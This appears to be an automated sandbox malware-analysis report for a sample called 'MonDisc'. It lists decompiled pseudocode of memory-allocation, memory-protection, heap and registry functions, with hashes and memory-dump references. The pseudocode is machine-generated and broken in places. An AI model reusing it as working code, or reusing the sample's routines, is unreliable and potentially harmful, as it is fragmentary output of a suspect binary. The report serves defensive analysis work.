Opcode Fuzzy Hash: 15fa773349fef53890f5e6956d7d42ca67023491adaaa4fde1046caed90ad968
Instruction Fuzzy Hash: EF516F23A08A8285E710CF25D44436D67A5FB84BA8F794331DE6D837D5EE3ED449C309

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED13B7F0 Relevance: 2.6, APIs: 2, Instructions: 97
memoryCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00007FF67FF6ED13B7F0(long long* __rax, long long __rbx, void* __rcx, long long __rsi) {
				int _t24;
				signed int _t25;
				void* _t27;
				long long* _t37;
				signed long long _t45;
				void* _t63;
				long long _t68;
				void* _t72;
				long long* _t75;
				long _t76;
				void* _t78;
				long long _t79;

				_t37 = __rax;
				 *((long long*)(_t72 + 0x10)) = __rbx;
				 *((long long*)(_t72 + 0x18)) = _t68;
				 *((long long*)(_t72 + 0x20)) = __rsi;
				_t79 =  *((intOrPtr*)(__rcx + 0xbe8));
				_t45 =  *((intOrPtr*)(__rcx + 0x694)) + 0x00000003 << 0x0000000a & 0xfffff000;
				r14d = 0;
				_t50 =  ==  ? _t76 : _t79 - _t45;
				_t30 =  ==  ? _t76 : _t79 - _t45;
				if (( ==  ? _t76 : _t79 - _t45) == 0) goto 0xed13b8a0;
				r9d = 4;
				r8d = 0x103000;
				VirtualAlloc(_t78, _t76); // executed
				_t75 = __rax;
				if (__rax == 0) goto 0xed13b8a0;
				if (__rax - 0x7ff6ed0f4bb6 + _t45 - 0x3fe00000 < 0) goto 0xed13b8d6;
				if (0x7ff6ed0f4bb6 - __rax - 0x3fe00000 < 0) goto 0xed13b8d6;
				r8d = 0x8000;
				_t24 = VirtualFree(_t63, ??);
				asm("o16 nop [eax+eax]");
				_t25 = E00007FF67FF6ED112230(_t24, _t27, __rcx - 0x150);
				if (_t37 + _t45 - 0x7fc00000 >= 0) goto 0xed13b8a0;
				r14d = r14d + 1;
				if (r14d - 0x1f >= 0) goto 0xed13b934;
				goto 0xed13b846;
				 *((long long*)(__rcx + 0xbe8)) = _t75;
				 *((long long*)(__rcx + 0xbf0)) = _t37 + _t45;
				_t14 = _t75 + 0x10; // 0x10
				 *(__rcx + 0xc00) = _t45;
				 *((long long*)(__rcx + 0xbf8)) = _t14;
				 *((intOrPtr*)(__rcx + 0xbe4)) = 4;
				 *_t75 = _t79;
				 *( *((intOrPtr*)(__rcx + 0xbe8)) + 8) = _t45;
				 *((intOrPtr*)(__rcx + 0xc08)) =  *((intOrPtr*)(__rcx + 0xc08)) + _t45;
				return _t25 & 0x7fff0000;
			}

0x7ff6ed13b7f0
0x7ff6ed13b7f0
0x7ff6ed13b7f5
0x7ff6ed13b7fa
0x7ff6ed13b816
0x7ff6ed13b828
0x7ff6ed13b82f
0x7ff6ed13b842
0x7ff6ed13b846
0x7ff6ed13b849
0x7ff6ed13b84b
0x7ff6ed13b851
0x7ff6ed13b85a
0x7ff6ed13b860
0x7ff6ed13b866
0x7ff6ed13b878
0x7ff6ed13b887
0x7ff6ed13b88b
0x7ff6ed13b894
0x7ff6ed13b89a
0x7ff6ed13b8a7
0x7ff6ed13b8bc
0x7ff6ed13b8c5
0x7ff6ed13b8cf
0x7ff6ed13b8d1
0x7ff6ed13b8e5
0x7ff6ed13b8ec
0x7ff6ed13b8f3
0x7ff6ed13b8f7
0x7ff6ed13b8fe
0x7ff6ed13b901
0x7ff6ed13b90b
0x7ff6ed13b915
0x7ff6ed13b919
0x7ff6ed13b933

APIs

VirtualAlloc.KERNEL32 ref: 00007FF6ED13B85A
VirtualFree.KERNEL32 ref: 00007FF6ED13B894

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: d40b2d4a1934e8be17e51c599369c86d3947c47e883e61a43bd012394c1327f5
Instruction ID: cacbea3fe67018c3815517ba1a11c832fa9f03d9c32f7e3a581e4b99c9be5541
Opcode Fuzzy Hash: d40b2d4a1934e8be17e51c599369c86d3947c47e883e61a43bd012394c1327f5
Instruction Fuzzy Hash: 6E31C123B18A8682EE18CF21E9143FA6760FB84B94F584635CF6E43794EF3DD1428309

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED13B430 Relevance: 1.6, APIs: 1, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E00007FF67FF6ED13B430(long long __rbx, long long __rcx, void* __rdx, void* _a8, long long _a16) {
				void* _v16;
				long long _v32;
				void* __rdi;
				int _t23;
				long long* _t38;
				long long _t40;
				long long _t49;
				long long _t52;
				signed long long _t57;
				void* _t59;
				long long _t60;
				void* _t61;
				void* _t62;

				_a16 = __rbx;
				_t40 = __rcx;
				_t59 = __rdx;
				if ( *((intOrPtr*)(__rcx + 0xbe8)) == 0) goto 0xed13b484;
				if ( *((intOrPtr*)(__rcx + 0xbe4)) == 0x20) goto 0xed13b484;
				r8d = 0x20;
				if (VirtualProtect(??, ??, ??, ??) != 0) goto 0xed13b47a;
				E00007FF67FF6ED13B9D0(__rcx, __rcx, __rdx, _t61);
				asm("int3");
				 *((intOrPtr*)(_t40 + 0xbe4)) = 0x20;
				_t57 =  *(_t40 + 0x698) << 0xa;
				if (__rdx - ( *((intOrPtr*)(_t40 + 0x694)) + 0x00000003 << 0x0000000a & 0xfffff000) <= 0) goto 0xed13b4b8;
				_t49 = _t40;
				E00007FF67FF6ED10FE90(_t40, _t49, _t57, _t61, _t62);
				asm("int3");
				if (_t49 +  *((intOrPtr*)(_t40 + 0xc08)) - _t57 <= 0) goto 0xed13b4d2;
				E00007FF67FF6ED10FE90(_t40, _t40, _t57, _t61, _t62);
				asm("int3"); // executed
				E00007FF67FF6ED13B7F0(_t38, _t40, _t40, _t61); // executed
				_t52 = _t40; // executed
				E00007FF67FF6ED10FE90(_t40, _t52, _t57, _t61, _t62); // executed
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_v32 = _t40;
				_t60 = _t52;
				if (r8d == 0) goto 0xed13b57e;
				if ( *((intOrPtr*)(_t52 + 0xbe8)) != _t57) goto 0xed13b551;
				if ( *((intOrPtr*)(_t60 + 0xbe4)) == 0x20) goto 0xed13b571;
				r8d = 0x20; // executed
				_t23 = VirtualProtect(_t59, ??, ??); // executed
				if (_t23 == 0) goto 0xed13b600;
				 *((intOrPtr*)(_t60 + 0xbe4)) = 0x20;
				return 0;
			}

0x7ff6ed13b430
0x7ff6ed13b43a
0x7ff6ed13b43d
0x7ff6ed13b44a
0x7ff6ed13b453
0x7ff6ed13b461
0x7ff6ed13b46f
0x7ff6ed13b474
0x7ff6ed13b479
0x7ff6ed13b47a
0x7ff6ed13b4a1
0x7ff6ed13b4a8
0x7ff6ed13b4af
0x7ff6ed13b4b2
0x7ff6ed13b4b7
0x7ff6ed13b4c5
0x7ff6ed13b4cc
0x7ff6ed13b4d1
0x7ff6ed13b4d2
0x7ff6ed13b4dc
0x7ff6ed13b4df
0x7ff6ed13b4e4
0x7ff6ed13b4e5
0x7ff6ed13b4e6
0x7ff6ed13b4e7
0x7ff6ed13b4e8
0x7ff6ed13b4e9
0x7ff6ed13b4ea
0x7ff6ed13b4eb
0x7ff6ed13b4ec
0x7ff6ed13b4ed
0x7ff6ed13b4ee
0x7ff6ed13b4ef
0x7ff6ed13b4f0
0x7ff6ed13b4fd
0x7ff6ed13b503
0x7ff6ed13b50f
0x7ff6ed13b518
0x7ff6ed13b526
0x7ff6ed13b52c
0x7ff6ed13b534
0x7ff6ed13b53a
0x7ff6ed13b550

APIs

VirtualProtect.KERNEL32 ref: 00007FF6ED13B467

Part of subcall function 00007FF6ED13B9D0: VirtualProtect.KERNEL32 ref: 00007FF6ED13BA49

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6e4eac51d571c1c8e3556116b89a8629df613ff496d76540e6d98825fe145059
Instruction ID: 1e16f32aaa6365cf2d117eba009d5c11db25ec868299a138c2b90c839693e622
Opcode Fuzzy Hash: 6e4eac51d571c1c8e3556116b89a8629df613ff496d76540e6d98825fe145059
Instruction Fuzzy Hash: DE016122B0958786EF58EB21E1593F92211DF40B98F194531DB2E87ACAEF7ED4018319

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1C5ECC Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FF67FF6ED1C5ECC(void* __eax, signed int __rcx, signed int __rdx) {
				intOrPtr* _t22;
				signed int _t29;

				_t29 = __rdx;
				if (__rcx == 0) goto 0xed1c5eeb;
				_t1 = _t29 - 0x20; // -32
				_t22 = _t1;
				if (_t22 - __rdx < 0) goto 0xed1c5f2e;
				_t25 =  ==  ? _t22 : __rcx * __rdx;
				goto 0xed1c5f12;
				if (E00007FF67FF6ED1C3C14() == 0) goto 0xed1c5f2e;
				if (E00007FF67FF6ED1E25C0(_t22,  ==  ? _t22 : __rcx * __rdx) == 0) goto 0xed1c5f2e;
				RtlAllocateHeap(??, ??, ??); // executed
				if (_t22 == 0) goto 0xed1c5efd;
				goto 0xed1c5f3b;
				E00007FF67FF6ED184D84(_t22);
				 *_t22 = 0xc;
				return 0;
			}

0x7ff6ed1c5ecc
0x7ff6ed1c5edb
0x7ff6ed1c5edf
0x7ff6ed1c5edf
0x7ff6ed1c5ee9
0x7ff6ed1c5ef7
0x7ff6ed1c5efb
0x7ff6ed1c5f04
0x7ff6ed1c5f10
0x7ff6ed1c5f21
0x7ff6ed1c5f2a
0x7ff6ed1c5f2c
0x7ff6ed1c5f2e
0x7ff6ed1c5f33
0x7ff6ed1c5f40

APIs

RtlAllocateHeap.NTDLL ref: 00007FF6ED1C5F21

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 521979925fef54ab3c699b8e534cf5da6c91fcc543d220d43a7f0518cf905923
Instruction ID: fb6140838841ae5db0bd5943ba7824e555b608d35a5c3c51cf82528500a477b4
Opcode Fuzzy Hash: 521979925fef54ab3c699b8e534cf5da6c91fcc543d220d43a7f0518cf905923
Instruction Fuzzy Hash: 38F09056B0920341FE6D97A299113F952951F48B80F1C1530CE0ECFBC2FD2EE480822B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED13B610 Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00007FF67FF6ED13B610(long long __rbx, long long __rcx, long long* __rdx, void* _a8, long long _a16) {
				int _t11;
				long long* _t15;
				long long* _t26;
				void* _t27;

				_a16 = __rbx;
				_t26 = __rdx;
				if ( *((intOrPtr*)(__rcx + 0xbe8)) != 0) goto 0xed13b636;
				E00007FF67FF6ED13B7F0(_t15, __rcx, __rcx, _t27); // executed
				goto 0xed13b665;
				if ( *((intOrPtr*)(__rcx + 0xbe4)) == 4) goto 0xed13b665;
				r8d = 4; // executed
				_t11 = VirtualProtect(??, ??, ??, ??); // executed
				if (_t11 == 0) goto 0xed13b681;
				 *((intOrPtr*)(__rcx + 0xbe4)) = 4;
				 *_t26 =  *((intOrPtr*)(__rcx + 0xbf8));
				return _t11;
			}

0x7ff6ed13b610
0x7ff6ed13b61d
0x7ff6ed13b62a
0x7ff6ed13b62f
0x7ff6ed13b634
0x7ff6ed13b63d
0x7ff6ed13b64b
0x7ff6ed13b651
0x7ff6ed13b659
0x7ff6ed13b65b
0x7ff6ed13b66c
0x7ff6ed13b680

APIs

VirtualProtect.KERNEL32 ref: 00007FF6ED13B651

Part of subcall function 00007FF6ED13B7F0: VirtualAlloc.KERNEL32 ref: 00007FF6ED13B85A
Part of subcall function 00007FF6ED13B7F0: VirtualFree.KERNEL32 ref: 00007FF6ED13B894

Part of subcall function 00007FF6ED13B9D0: VirtualProtect.KERNEL32 ref: 00007FF6ED13BA49

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: Virtual$Protect$AllocFree
String ID:
API String ID: 3729553426-0
Opcode ID: 8f05001ae3a681e52af4ae4ae8ee654af86365180a678d0bc3cfca32081500b6
Instruction ID: 9acdf91d4721ce69b4048d624f338d41ddbe4d42fd3d89102d507b855e8988ce
Opcode Fuzzy Hash: 8f05001ae3a681e52af4ae4ae8ee654af86365180a678d0bc3cfca32081500b6
Instruction Fuzzy Hash: 78F03CA260968781EB548F22E6587F83360EB48F8CF091031DF0D8B755EF39D0508705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0F5074 Relevance: 1.5, APIs: 1, Instructions: 30registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE ref: 00007FF6ED0F50C2

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 5bb28053021b0cd2a62d36c1000829e863951e7d25af3afc8164462e2c0a39a0
Instruction ID: 1eb6069d70611150caa8e8de864a649be2a705ecc0dae1057cb41355882b6f86
Opcode Fuzzy Hash: 5bb28053021b0cd2a62d36c1000829e863951e7d25af3afc8164462e2c0a39a0
Instruction Fuzzy Hash: E3016923204A8485D7059F3AC4445ACB7A4FB08F8DB184221DF885732CEF36D145C744

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1C5A90 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E00007FF67FF6ED1C5A90(intOrPtr* __rax, void* __rcx) {

				if (__rcx - 0xffffffe0 > 0) goto 0xed1c5adb;
				_t16 =  ==  ? __rax : __rcx;
				goto 0xed1c5ac2;
				if (E00007FF67FF6ED1C3C14() == 0) goto 0xed1c5adb;
				if (E00007FF67FF6ED1E25C0(__rax,  ==  ? __rax : __rcx) == 0) goto 0xed1c5adb;
				RtlAllocateHeap(??, ??, ??); // executed
				if (__rax == 0) goto 0xed1c5aad;
				goto 0xed1c5ae8;
				E00007FF67FF6ED184D84(__rax);
				 *__rax = 0xc;
				return 0;
			}

0x7ff6ed1c5a9d
0x7ff6ed1c5aa7
0x7ff6ed1c5aab
0x7ff6ed1c5ab4
0x7ff6ed1c5ac0
0x7ff6ed1c5ace
0x7ff6ed1c5ad7
0x7ff6ed1c5ad9
0x7ff6ed1c5adb
0x7ff6ed1c5ae0
0x7ff6ed1c5aed

APIs

RtlAllocateHeap.NTDLL ref: 00007FF6ED1C5ACE

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 019e99ee793bc605d50669d5fd24d321abbc233036131ba94a42b57f6e35aad5
Instruction ID: df478fe4a22e92f9bb98eb0537161ba3a75cd3a78a75e832e9993ae9d9b26e4f
Opcode Fuzzy Hash: 019e99ee793bc605d50669d5fd24d321abbc233036131ba94a42b57f6e35aad5
Instruction Fuzzy Hash: 1EF0F812B0960B46FA5C67A359913F952908F847A0F184630DD2ECB2C2FE6EE481962B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0FF9D0 Relevance: 1.4, APIs: 1, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6ED0FF9D0() {
				long _t43;
				intOrPtr _t61;
				intOrPtr* _t73;
				long long _t75;
				long long _t76;
				long long _t78;
				signed long long _t80;
				void* _t84;
				long long _t94;
				void* _t96;
				signed long long _t100;
				intOrPtr _t108;
				void* _t112;
				void* _t114;
				void* _t115;
				signed long long _t117;
				signed int _t121;
				long long _t127;

				 *((long long*)(_t114 + 0x18)) = _t75;
				_t115 = _t114 - 0x20;
				_t127 = _t94;
				_t76 = _t78;
				E00007FF67FF6ED184D84(_t73);
				_t61 =  *_t73;
				 *((intOrPtr*)(_t115 + 0x60)) = _t61;
				_t43 = GetLastError();
				_t117 =  *((intOrPtr*)(_t76 + 0x20));
				r15d = _t43;
				_t108 =  *((intOrPtr*)(_t76 + 0x10));
				_t80 =  *(_t76 + 0x50) & 0xfffffffc;
				 *(_t115 + 0x68) = _t43;
				r8d =  *(_t80 + 0x20);
				 *((long long*)(_t80 + 0x60)) = _t127;
				_t112 =  *((intOrPtr*)(( *(_t117 - 0x10) & 0xffffffff) + 0x20)) - 0x68;
				r8d = E00007FF67FF6ED0FEF60(0xffffffff, _t112, _t127);
				_t121 = _t117 * 8;
				 *((long long*)(_t76 + 0x28)) =  *((intOrPtr*)(_t76 + 0x20)) + _t121;
				_t84 = _t108 + 0x2d8;
				if ( *((intOrPtr*)(_t84 + 0xec)) == 0) goto 0xed0ffa78;
				_t96 = _t127 - 4;
				 *((long long*)(_t84 + 0x80)) = _t76;
				E00007FF67FF6ED110750(_t84, _t96); // executed
				if (( *(_t108 + 0x91) & 0x00000008) == 0) goto 0xed0ffab2;
				if ( *((intOrPtr*)(_t108 + 0x148)) != 0) goto 0xed0ffab2;
				 *((intOrPtr*)(_t108 + 0x148)) =  *((intOrPtr*)(_t108 + 0x14c));
				_t25 = _t96 - 4; // -1
				r8d = _t25;
				E00007FF67FF6ED0FEEA0( *((intOrPtr*)(_t108 + 0x14c)), 3, _t76);
				 *((long long*)(_t76 + 0x28)) =  *((intOrPtr*)(_t76 + 0x20)) + _t121;
				if (( *(_t108 + 0x91) & 0x00000004) == 0) goto 0xed0ffb23;
				_t100 = _t127 - _t112 - 0x68 >> 2;
				r15d = E00007FF67FF6ED117CA0(2, _t112);
				if (_t127 -  *((intOrPtr*)(_t80 + 0x60)) <= 0) goto 0xed0ffaff;
				if (_t61 - 1 -  *((intOrPtr*)(_t112 + 0xc)) >= 0) goto 0xed0ffaff;
				if (r15d == E00007FF67FF6ED117CA0(_t61 - 1, _t112)) goto 0xed0ffb1a;
				r8d = r15d;
				E00007FF67FF6ED0FEEA0(_t49, 2, _t76);
				 *((long long*)(_t76 + 0x28)) =  *((intOrPtr*)(_t76 + 0x20)) + _t121;
				r15d =  *(_t115 + 0x68);
				if (( *(_t108 + 0x91) & 0x00000002) == 0) goto 0xed0ffb4a;
				if (( *(_t127 - 4) & 0x000000ff) - 0x49 - 3 > 0) goto 0xed0ffb4a;
				_t40 = _t100 - 2; // -1
				r8d = _t40;
				E00007FF67FF6ED0FEEA0(( *(_t127 - 4) & 0x000000ff) - 0x49, 1, _t76);
				E00007FF67FF6ED184D84(0xffffffff);
				 *0xffffffff =  *((intOrPtr*)(_t115 + 0x60));
				goto ( *0xed1ee048);
			}

0x7ff6ed0ff9d0
0x7ff6ed0ff9e0
0x7ff6ed0ff9e4
0x7ff6ed0ff9e7
0x7ff6ed0ff9ea
0x7ff6ed0ff9ef
0x7ff6ed0ff9f1
0x7ff6ed0ff9f5
0x7ff6ed0ff9fb
0x7ff6ed0ffa06
0x7ff6ed0ffa09
0x7ff6ed0ffa0d
0x7ff6ed0ffa11
0x7ff6ed0ffa2a
0x7ff6ed0ffa32
0x7ff6ed0ffa36
0x7ff6ed0ffa46
0x7ff6ed0ffa49
0x7ff6ed0ffa54
0x7ff6ed0ffa58
0x7ff6ed0ffa66
0x7ff6ed0ffa68
0x7ff6ed0ffa6c
0x7ff6ed0ffa73
0x7ff6ed0ffa7f
0x7ff6ed0ffa88
0x7ff6ed0ffa98
0x7ff6ed0ffa9e
0x7ff6ed0ffa9e
0x7ff6ed0ffaa2
0x7ff6ed0ffaae
0x7ff6ed0ffab9
0x7ff6ed0ffacf
0x7ff6ed0ffae3
0x7ff6ed0ffae9
0x7ff6ed0ffaee
0x7ff6ed0ffafd
0x7ff6ed0ffaff
0x7ff6ed0ffb0a
0x7ff6ed0ffb16
0x7ff6ed0ffb1a
0x7ff6ed0ffb2a
0x7ff6ed0ffb37
0x7ff6ed0ffb41
0x7ff6ed0ffb41
0x7ff6ed0ffb45
0x7ff6ed0ffb4a
0x7ff6ed0ffb52
0x7ff6ed0ffb68

APIs

GetLastError.KERNEL32 ref: 00007FF6ED0FF9F5

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 5d6d6a0105bb9f860775d3d4885614cbf5d4271068c69db6e9d37e00004b2905
Instruction ID: b9c642cacc1d834670324fd3c679f9e30ecb11a37e79b79d8e3e54de60fb268b
Opcode Fuzzy Hash: 5d6d6a0105bb9f860775d3d4885614cbf5d4271068c69db6e9d37e00004b2905
Instruction Fuzzy Hash: FF41AEB370868286D721DF2694043AD77A1FB84B94F380631DE6D8B395EE3DE489C749

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED13B3D0 Relevance: 1.3, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32 ref: 00007FF6ED13B40B

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
